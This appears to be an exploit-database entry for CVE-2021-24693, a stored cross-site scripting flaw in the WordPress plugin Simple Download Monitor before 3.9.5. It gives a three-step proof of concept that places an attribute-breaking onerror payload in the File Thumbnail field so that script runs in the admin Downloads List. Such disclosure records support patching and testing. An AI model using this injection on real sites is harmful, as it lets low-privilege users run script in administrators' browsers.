Exploit for Simple Download Monitor < 3.9.5 - Contributor+ Stored Cross-Site Scripting via File Thumbnail CVE-2021-24693

Name: Exploit for Simple Download Monitor < 3.9.5 - Contributor+ Stored Cross-Site Scripting via File Thumbnail CVE-2021-24693
Rating: 5 (268 reviews)

2021-10-05 | CVSS 6.0

## https://sploitus.com/exploit?id=WPEX-ID:4BB559B7-8DDE-4C90-A9A6-D8DCFBEA53A7
Add new download
Set "File Thumbnail (Optional)" to " onerror=alert(origin)//
Publish or Submit for Review (depending on role). XSS will be triggered in the Downloads List and when editing the download